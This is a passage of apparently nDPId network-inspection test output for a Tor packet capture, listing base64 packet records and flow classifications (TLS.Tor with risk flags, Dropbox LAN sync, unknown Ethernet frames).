ze6XK+9IlUrY+67ygj04BWN6jrpdCYM59H8Izlhf\/2l2Z\/lRU1jzrMsJtnWRVRBGtyWtAgMc4AFMKzSSEndt6pNrZJKksg151U5rQieJ+mEfiAVOqr6QkVm5boLDNLAxDw=="} +00406{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821666,"pkt_ts_usec":838656,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"UlQAWul3UlQA2EYhCABFAAAoI4NAACwGBk8uOzQfwKgB\/AG7x6cxNP+\/6YyaEVAQACAMwQAA"} +01203{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821666,"pkt_ts_usec":838948,"pkt_caplen":640,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":640,"pkt_l4_len":606,"pkt":"UlQA2EYhUlQAWul3CABFAAJyA3BAAIAG0BfAqAH8Ljs0H8enAbvpjJoRMTT\/v1AYAQCjBwAAFwMBACCuEhGVA4NvraHqWBXF0VGKi7yya+9S+1okg4GocBkj\/BcDAQIgqsSvH4svwNynX5ByKfenV2pkK\/zH5qdmrle51GUZdAWp5VTZzjCx\/s3z2YQPJOaJ8hzBRzNfwMHhVLGiZ7rvf8BQlBrfRXfo1Snj5ShDklJKVYJgPv2imkOqDOab6FYtIehUfgy8e7\/Zk1BnQWZBDR65DFznkpxbkLGufZ3ovawC+z9M4mggiRY94e6nM\/jPQLpCTGp\/RkFgwoH9gKmn39AxE+unqF+GFeMXpjFIRmGGU\/+LplD76IzG1gwlZfxa\/6Jxfuy79GRU4FdzUKbzAj11MMv17UuUi4h56ghDeKXYYdM4tC\/LXZ\/5NMyY6nutaKaN2EQUUnYef5MMUaupYOXf1D6kW59zAm5jQYAQSxX+1R54hIg3w0gGqTatO1RcWJIzFrzo0AoVma9K4X3hjZ0WkF9LuCsrVueZ3XSqYRKiAMp5ktEluSU6NzCWY1UVUp+HZJEzDSzrfACABWhRZMuy6rhAvLFaTc7VPRtHQOpZQybaBeHzl50phweF0i3PNlz0NPDXS6WPUwBXGNDr1SzWWaJbRY2Y4GSwU5sBZM3Po9LrosDeNJexY70v7YJeR9hc2lHfRlsUqMsQfVkEOB27ZG5GYJXOEwOc07o0Udlctf3xwBBTlYOwkN1sJz6Mv2PRCxvz5YJLj1BlbRaZ5UYiMKkvLub0aqJX\/mhIykWQUm04S5iR7nVREMC7l7Ehiq2XcjHQmTfj6eJSX+Mh5w=="} +00372{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":55,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821668,"pkt_ts_usec":212884,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00151{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":55,"source":"tor.pcap","alias":"nDPId-test","type":38} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":56,"source":"tor.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1383821668403,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"38.229.70.53","src_port":51112,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00419{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821668,"pkt_ts_usec":403824,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"UlQA2EYhUlQAWul3CABFAAA0A3VAAIAGx5DAqAH8JuVGNceoAbuUs9YxAAAAAIACIADrCAAAAgQFtAEDAwgBAQQC"} +00420{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821668,"pkt_ts_usec":547648,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"UlQAWul3UlQA2EYhCABFAAA0AABAADQGFwYm5UY1wKgB\/AG7x6iEDREglLPWMoASOQg8wAAAAgQFtAEBBAIBAwMK"} +00411{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821668,"pkt_ts_usec":548030,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"UlQA2EYhUlQAWul3CABFAAAoA3ZAAIAGx5vAqAH8JuVGNceoAbuUs9YyhA0RIVAQAQC1nQAAAAAAAAAA"} +00711{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821668,"pkt_ts_usec":548416,"pkt_caplen":278,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":278,"pkt_l4_len":244,"pkt":"UlQA2EYhUlQAWul3CABFAAEIA3dAAIAGxrrAqAH8JuVGNceoAbuUs9YyhA0RIVAYAQDlUgAAFgMBANsBAADXAwFSe39pbZn4CAZLPeIeRH8NC+wysEGwDtFI6Y81\/Q\/FOwAASMAKwBQAiACHADkAOMAPwAUAhAA1wAfACcARwBMARQBEADMAMsAMwA7AAsAEAJYAQQAEAAUAL8AIwBIAFgATwA3AA\/7\/AAoA\/wEAAGYAAAAiACAAAB13d3cucTRjeWFtbmM2bXRva2p1cnZkY2x0LmNvbQALAAQDAAECAAoANAAyAAEAAgADAAQABQAGAAcACAAJAAoACwAMAA0ADgAPABAAEQASABMAFAAVABYAFwAYABk="} +00826{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":60,"source":"tor.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":4,"flow_first_seen":1383821668403,"flow_last_seen":1383821668548,"flow_tot_l4_data_len":328,"flow_min_l4_data_len":20,"flow_max_l4_data_len":244,"flow_avg_l4_data_len":82,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"38.229.70.53","src_port":51112,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","16":"Suspicious DGA domain name","22":"Unsafe Protocol"},"proto":"TLS.Tor","breed":"Potentially Dangerous","category":"VPN"},"tls": {"version":"TLSv1","client_requested_server_name":"www.q4cyamnc6mtokjurvdclt.com","ja3":"581a3c7f54555512b8cd16e87dfe165b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00404{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821668,"pkt_ts_usec":700311,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"UlQAWul3UlQA2EYhCABFAAAodvRAADQGoB0m5UY1wKgB\/AG7x6iEDREhlLPXElAQABC1rQAA"} +01657{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821668,"pkt_ts_usec":700468,"pkt_caplen":983,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":983,"pkt_l4_len":949,"pkt":"UlQAWul3UlQA2EYhCABFAAPJdvVAADQGnHsm5UY1wKgB\/AG7x6iEDREhlLPXElAYABC9qQAAFgMBADECAAAtAwFSe3FkFBSyW8wepaOLNrHGBX6ujzo8E8jJ3hV5JUvPxQAAOQAABf8BAAEAFgMBAcsLAAHHAAHEAAHBMIIBvTCCASagAwIBAgIIQu7SDsoDvGgwDQYJKoZIhvcNAQEFBQAwITEfMB0GA1UEAxMWd3d3LmdnNTYyaXpjeGR2cWRrLmNvbTAeFw0xMzA5MTUwMDAwMDBaFw0xNDAyMjEyMzU5NTlaMCExHzAdBgNVBAMTFnd3dy5mY3N5dm5sZW13eHY1cC5uZXQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAJQ5+9Jafzi9QKeOG1kHDMDsvWpuxkXpeqU5V0auc99fup3dK8JdNTGzu3St2C7rtsHg\/aOI\/RD9LBPI3jkM\/bU0HyaJ3ATnGMkGr5BqkEX3ztOgHRZwu+TnTmi+fZZYOYr6X\/P1TAaEG\/JhZstA4GTErKlTy7h8CUyjLfJJOEhDAgMBAAEwDQYJKoZIhvcNAQEFBQADgYEAczayP3BW1GC9VJrrjJIooGh9+Wn4OGeizzpTmcCFI8IoeRhpPTIKqepFXqDaxPlMKybjBOaBnrwjugwfJouvDQ5AWM8LmNJinE97MZJTCtJdki6wMXqQ\/ENtzXqVsU9szKRr4KBKbjpnMQxheyATYof7q025Meevj610uNi4SCIWAwEBjQwAAYkAgNZ95EDLu9wZNtaT00r9CtUMhNI5pF9SC7iBdMuYvOlRhJ+RLmOccvsTtLTXF34W1VrBebpCCyop\/jJKRnpjXoH\/WQE3e+3c\/TMWikYarTty2uiGAHgEWwen28p4dAh9FRDqn8yd3TMFB91i24iuqnR94PTW4r1osOc5Pg8kIY6zAAECAIC7NDsQgl1IAWKbRx1wHPylgZjfFRnDGoYNfQ7CNaqRXHVejZyQnn6wNxAX2btR4cHb94VBJHyDz7731tfwYVhKU0Q0uQ+9iUV+KttLf4WfEH1OPgH35Lx+gZDuhiP6HSf7zcDaWz9UsBaGz5RpkdjpNOWfJEY2DOahHxjPJn9rAgCAPu2BuVcYmwTooEwYEE91V6CDblIATWpwKW\/TTRBsnSpOw2KnYuG7m0Xlmbfg1qWpqJep8soTArmFtgLXw0ykgqE3hliGUbTWkGTb5TgEp5QccknHUgEE5eiM4FmSQpPQAOha3Vv0rrVEZTpoq6WO4d3vecLDTlOfJdSF3sF8QF0WAwEABA4AAAA="} +01031{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":63,"source":"tor.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":6,"flow_first_seen":1383821668403,"flow_last_seen":1383821668700,"flow_tot_l4_data_len":1297,"flow_min_l4_data_len":20,"flow_max_l4_data_len":949,"flow_avg_l4_data_len":216,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"38.229.70.53","src_port":51112,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","16":"Suspicious DGA domain name","22":"Unsafe Protocol"},"proto":"TLS.Tor","breed":"Potentially Dangerous","category":"VPN"},"tls": {"version":"TLSv1","client_requested_server_name":"www.q4cyamnc6mtokjurvdclt.com","ja3":"581a3c7f54555512b8cd16e87dfe165b","ja3s":"e1691a31bfe345d2692da75636ddfb00","unsafe_cipher":0,"cipher":"TLS_DHE_RSA_WITH_AES_256_CBC_SHA","issuerDN":"CN=www.gg562izcxdvqdk.com","issuerDN":"CN=www.fcsyvnlemwxv5p.net","fingerprint":"C1:93:18:2C:A3:1D:AC:5F:C7:DE:17:8A:4E:B1:E8:13:BB:08:73:3A"}} +00672{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821668,"pkt_ts_usec":708049,"pkt_caplen":252,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":252,"pkt_l4_len":218,"pkt":"UlQA2EYhUlQAWul3CABFAADuA3lAAIAGxtLAqAH8JuVGNceoAbuUs9cShA0UwlAYAP1UZwAAFgMBAIYQAACCAICVqs\/lAnDz1OCq70x00UceWrtuOw3N0LPh14jZeUdb0SIrh+q2nw7OzMPTMbvR2F3l+e9Ge2cO3B9dU3NuyuxmC2T11LmEuzT\/Hf14mMzupeO2yAdSPyikLwGzVW35ZClY6hUlpdVjzbtMcZLgCVrp1P2c6gx2eE0q2TMx74J8ShQDAQABARYDAQAwUYDo0syC7vcphX7PaChw29yHdSCulVCitJfgxPBnmRO2gFPOcCsNzcRdYYMrxKaX"} +00486{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821668,"pkt_ts_usec":872166,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"UlQAWul3UlQA2EYhCABFAABjdvZAADQGn+Am5UY1wKgB\/AG7x6iEDRTClLPX2FAYABG6QQAAFAMBAAEBFgMBADAaY3i5fXWZ4AML4bIyljsoDgZZBOXmk153GE8srIolG5kCI8vhcZkuXXaLWjel7Is="} +00506{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821668,"pkt_ts_usec":872735,"pkt_caplen":128,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":128,"pkt_l4_len":94,"pkt":"UlQA2EYhUlQAWul3CABFAAByA3pAAIAGx03AqAH8JuVGNceoAbuUs9fYhA0U\/VAYAPwTKQAAFwMBACAk0DxcKn+Ish+ZeQZv7WaMFXe8WkhVh9eJrY8qC7+55RcDAQAgv+Szj7Xko2kB53mat2M83QOGXHAJE0170QxkHpJFs+o="} +02386{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821669,"pkt_ts_usec":63017,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"UlQAWul3UlQA2EYhCABFAAXcdvdAADQGmmYm5UY1wKgB\/AG7x6iEDRT9lLPYIlAQABEZBgAAFwMBACCLx3qpY9Lte6vRTGqXeOiGwQLdBClbayphiIYmJWuTyBcDAQXglNgmSeGHwi4Bvro6zY1nfQSZvQiwhu9CRVUPfiEHffkdip2xwvV3LvtOWOYTb95\/7HZLysQssb7HOWdEWP71HU3K9Tj3MAGtQpUlEs9TqH9YGZ3G8uEzAq6xcfLP7QubxE2yIf60nxjjX6WzlZD6aDvhJXiGPAtokqXXitle+8cMwDHa39rnSSJOi+rxqXk0uv4g\/cE4rI\/sK9UkdLPjzOxOjVhzsI2FbihMWTWqS6H73\/pTwEZG9mR2GBQZEB0Jp0i2yzdW8R2SV2IkFyHpIVeeV8oAiBXPVk\/E8du9AJ+RQeIKpNG0sCHm+EN7JiXOYkL1KMQp02b25OTtng238VeHak0gf2itEcJp74R5Wvr9rb3eK\/ZKIcOHdqXMRJWe2bdaBRuZ9DNDiYDI2gs7IZuAXeUHGvNLv52Z0Y6aPG0n7+vw1zbsjk5AEw83N8TjfdtSNMTC+9KdnPO0AZa28uCz1jHrSEAM9VRlQn7WZCCUfXG2OVaZitLGWnoOzVMTPOSSj8+3oW9jg1jfVopaDplJbrPRhNelJaDj2OWGSt6vXgFgHlQwPRjLaSSAoDIponNcVAEIv5ZuzGf0lHkPK7h1aH\/d+m+fdQwKdP5o+aJ0vcRATgIZGaDsGf1HNS6mTbiK2b\/BJULRzK9OhK7IXmMpUUnGrSXGvbvTrjvf2fHwjHGZutg5CQenfZSJeRAM6Flwr5sjq7E2vn7ZvWpebK\/aqB1Tjt+8a8BOGE7Vr1sImJUO0bwN7AbelN96W76XDQiQ1QN6mA\/xZ9vrijRNVzJRiAoLh+4S3sEBB64TaxExY3n6RQJwjUA9SGtPdZTNXt\/qGE\/wyGnf\/OpAYQmFHUMnRCZjAo1jsJPU\/t4IR0ibbyE1epnHTMovjmVK\/cZY0Mpz6xM7fuZ9QiqDT5dqqw847UNJYGM6wHC1v1AaKH8X6cDdETqnwkHnuQVDL8PbTrlxQCSotH5JWGVORqueUT3FhqqOjSeuWtGqVQkkUckRUs1kPgvENlJOYZ1f63qfCT\/+auH6xOb5hcdahEecRQ6+9SJ60MXn10dwIjPDsrJp\/OdkY7vNmTxz1FNWjWYVwFTeozokqpxmsiiRT7v7ZlXHSeXo57O2iEVjQ2dlQVZ1Tm6yvgmvo4mYFBic++gaDUn\/822Q\/eLSbvZgNvxcAka0gKkmXL\/Xz2tbnlDkuM9Ytj2+Wkzr8+MlB1zW0Bt1IV2CRGpfZzQZbLJcMBzjg+Lip9HcFKOwFFn9cGlfGug71LtGVgEuZwrT5HiJij\/YOrVuH91m0xMmR9Y\/bPj2biXU6qbYaIdyUrgrVMWmBKdOx0VdWaDibjxbo8Bl3H444HBgPxivmBS+WCMCvoxGrhCSQ52VVNkUmsolwTw7k8OKEdcr4+huOJwgN13ib2aqu7eb2zG4lR\/op2LF3BozUMYu\/cddRSMF9elntxyy1oS9eaSzWr9A5CpYE2sByR+fGn8cwUExQq2XCWhr0tEWhWs7vfNp9edVBkNTOV+WPbBWzLdT\/lApDtpswkupAZuOLtLTP2j1qLvF00CvPfpYPplXae4xVdhfUzr2eMYujSXaccz6cZRWP8jtiVqpZR+TIS8SGJZkKBJfh5lRpe+MwWhg7hlnIDySPEBqAblnvlxdsd3qzjN6PnuoXxS0y4pw5Y8eBbkXpsg+uImxCoT3Cii+FzUadhpWI3yvDOfd6BceMnYmoRZ8P3drvFVUe6RYqSWh86DI+Z\/Ymub8x9A8BcPwIOMXccs6KbpN94xZgGEU0+9eY9UMJok+qx4bvaMyK3\/St0u7QXV+PJx5wavY8EX6OVTmBLV7mbwn\/9Iw5nRf+uelIfxz9FygZn+aFp4EWlDQ8quiv8prhykQ5z+0iriuU+AmlIkEzQk="} +00523{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821669,"pkt_ts_usec":63130,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"UlQAWul3UlQA2EYhCABFAAB+dvhAADQGn8Mm5UY1wKgB\/AG7x6iEDRqxlLPYIlAYABFsQgAAtOEeeSqjjatNM2LKIIKkbQ9+gT4Uh5pobbEdpliLZZqJixqlP1dBaV43awoMtY+5haP34rVXvO0ybuj+F160vqDVYPzmU4jJ5llkNPK6ook53R5pqas="} +00411{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821669,"pkt_ts_usec":63448,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"UlQA2EYhUlQAWul3CABFAAAoA3tAAIAGx5bAqAH8JuVGNceoAbuUs9gihA0bB1AQAQCpxwAAAAAAAAAA"} +01202{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821669,"pkt_ts_usec":64075,"pkt_caplen":640,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":640,"pkt_l4_len":606,"pkt":"UlQA2EYhUlQAWul3CABFAAJyA3xAAIAGxUvAqAH8JuVGNceoAbuUs9gihA0bB1AYAQCSVwAAFwMBACCug6rbb25Qx6XuGERwwSfDGTQklHeELMcMl8NLUnb0xBcDAQIgPmetq9geqDLQexWtYExT3dQOy0nR2nXCRi8BYGlHf9oO8VBk01BfXBxuNNq83W3iIq2fZUMGBDZBYEmarsPokytf2cEODF1lte92h9FXOopeMhIfJDuQ\/kjwWfd020Uzmz1hpWCzsqO6hp6NQxjOuYSlUB4FVE3TZamtmtQDOPxbigE9pX+1YRCQBsP0Z7caH4B4RNHtJPWbm87leRotMP\/tFuHgusjXhNtwlvlWPUps2r3ORbk4PkOJizmLPGUGonbOiiCGO\/02wXpqWB5e1vgLJxtJXOp\/Xf787k8U5Iv26XElz33mPRe6wARnY0GVcgffopWtINQ2zlzaMJJ61R+w7qMyY3SjVRINxOzQX3MEZKIejtlAOIJx4TdUTdf\/IbMW+7v1SncVAr2a8h62u1b2p8cgTqEu\/IGMck8gWrFgQyWkaQ1hkZzyVyVPc9NeJ48QmjXB4Xqvbtvktl0VRnG8t8N0vUhTChRfpG311Bf5GBmiPdN+ZtQQIeskAw4knqEdacAwcENM46GJvDzwUa3nd\/SZdALvMgtPbKmRYw\/hjrtTLLSAqNKrmMpOlX9OXl2ut\/7wi87Lv2FtmtPX6+w+x1tOHLY3TFlKUcjKF\/EHjrj3ViYaI02K+\/JN2mp1wwM0zCNOJ5cVFL4aCuTRn1E1Qv27nOGsrrigr9E1KBxib248ITB3sYxXkPbMIUf6D32\/FWDZu4gy6JllgHXEcg=="} +00405{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821669,"pkt_ts_usec":248228,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"UlQAWul3UlQA2EYhCABFAAAodvlAADQGoBgm5UY1wKgB\/AG7x6iEDRsHlLPabFAQABKoawAA"} +01204{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":72,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821669,"pkt_ts_usec":249570,"pkt_caplen":640,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":640,"pkt_l4_len":606,"pkt":"UlQA2EYhUlQAWul3CABFAAJyA31AAIAGxUrAqAH8JuVGNceoAbuUs9pshA0bB1AYAQAs7QAAFwMBACAVx0uCpj9kAARqt9FX7dTQTGqmZLO4F4MzdgM6jK\/8dhcDAQIg7JXIvXC3Amh1MMsNNdq9+dKootnbx097XQJNiinFHUYpmzpFp05WS3v5ZRyGZb593rBnUkindx\/xywbJ8QV4xWXChxhYcYv43VOSVCffOIGQ\/4Ik\/59F8f6IBu4k7m0vYb+zoAexdefQyUpLnj8gFP38ZPR+YEVeAQMMQqX4xiahCQXpIVBG566PZmFEgfcshmHVj7DjGfZTd\/X5s871zo3zPD3gSI\/RiYGYGCJg1Jw9\/fRid7l+Du2zLcmO2hjTexUOXP+K+TbX0cJoSfM5si7lIdLQdOImwR4\/wMVQfoiI7hgzmH1MUiKbCo0Yg0HOLCtkDulZ45BjHTBNwCuF2nsfw5EpgqGucSKaUrIxZ8MDntXEIGK6jLpX6ZEJ6YrokHwIwwIfMlkerxhW9y+TjmW46GVzudB2i0ySf8VPULbslAquwAppAbHxoTE4zbGjS3QErkKSLaxHpOzolmFPg+AfKRy7Mgi\/IfE\/E2+V0l2cT1nH4c8cOxIgIpYxMgNw+YiPSB2TY7cNXjSR8DtAGqeJplxHcchWBQHNIGv5wvUwfzWJFr5gHVWMVfCfqStWS1+yqiL52nK\/ttNX4FULiT4PTkpmPQ+tfzC5c9cBYeEF9dou0kKoVh3MlfvvF\/jU0d40kGFHAeXG5gpgMyJkvHu72rBnjMw4q8Ah5b791zuLK9VeoOsXB8QMN+v5s6jz7SqIwRLOb\/erT5LMNHYHCg=="} +00372{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":80,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821670,"pkt_ts_usec":213310,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00151{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":80,"source":"tor.pcap","alias":"nDPId-test","type":38} +00372{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":83,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821672,"pkt_ts_usec":213282,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00151{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":83,"source":"tor.pcap","alias":"nDPId-test","type":38} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":86,"source":"tor.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1383821673254,"flow_last_seen":0,"flow_tot_l4_data_len":152,"flow_min_l4_data_len":152,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00591{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821673,"pkt_ts_usec":254958,"pkt_caplen":186,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":186,"pkt_l4_len":152,"pkt":"\/\/\/\/\/\/\/\/UlQAwqwfCABFAACsAABAAEARtfDAqAEBwKgB\/0RcRFwAmDDeeyJob3N0X2ludCI6IDY3Njg3OTk3NiwgInZlcnNpb24iOiBbMSwgOF0sICJkaXNwbGF5bmFtZSI6ICI2NzY4Nzk5NzYiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsxNjc4NDEyMTYsIDE4MTA4Mzk2OCwgMTgxMDgwMzI0LCAyOTU0NDE3M119"} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":86,"source":"tor.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1383821673254,"flow_last_seen":0,"flow_tot_l4_data_len":152,"flow_min_l4_data_len":152,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00372{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":87,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821674,"pkt_ts_usec":212949,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00151{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":87,"source":"tor.pcap","alias":"nDPId-test","type":38} +00372{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":88,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383821676,"pkt_ts_usec":212885,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00151{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":88,"source":"tor.pcap","alias":"nDPId-test","type":38} 